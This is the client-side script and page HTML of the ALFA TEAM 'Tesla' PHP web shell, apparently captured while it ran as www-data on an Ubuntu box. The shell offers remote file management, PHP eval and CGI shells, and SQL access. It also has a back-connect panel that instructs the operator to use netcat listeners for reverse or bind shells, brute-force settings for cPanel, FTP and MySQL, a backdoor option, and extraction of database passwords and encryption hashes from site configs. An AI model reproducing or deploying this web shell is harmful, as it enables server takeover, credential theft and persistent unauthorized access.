data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"&current_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
</head><body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" style="overflow: visible;"><form style="display:none;" id="dlForm" action="" target="_blank" method="post">
<input type="hidden" name="a" value="dlfile">
<input type="hidden" name="c" value="">
<input type="hidden" name="file" value="">
</form>
<input type="file" style="display:none;" id="importFileBtn" onchange="importConfig(event);">
<div id="a_loader" style="display: none;"><img src="http://solevisible.com/images/loader.svg"></div>


<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/"><input type="hidden" name="alfa1" value=""><input type="hidden" name="alfa2" value=""><input type="hidden" name="alfa3" value=""><input type="hidden" name="alfa4" value=""><input type="hidden" name="alfa5" value=""><input type="hidden" name="alfa6" value=""><input type="hidden" name="alfa7" value=""><input type="hidden" name="alfa8" value=""><input type="hidden" name="alfa9" value=""><input type="hidden" name="alfa10" value=""><input type="hidden" name="charset" value="Windows-1251">
</form>
<div id="hidden_sh"><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">Tesla</span><br><small>Version: <span class="hidden_shell_version">4.1</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tbody><tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">33 [ www-data ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">33 [ www-data ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png"></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 </b><span class="header_vars"> Safe Mode: <span class="header_on">OFF</span></span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>::1</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> ::1</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>2023-02-12 16:22:49</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">Cant Read [ /etc/named.conf ]</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>216.08 GB </b><span class="header_vars">Free:</span><b>194.85 GB [90%]</b></td>
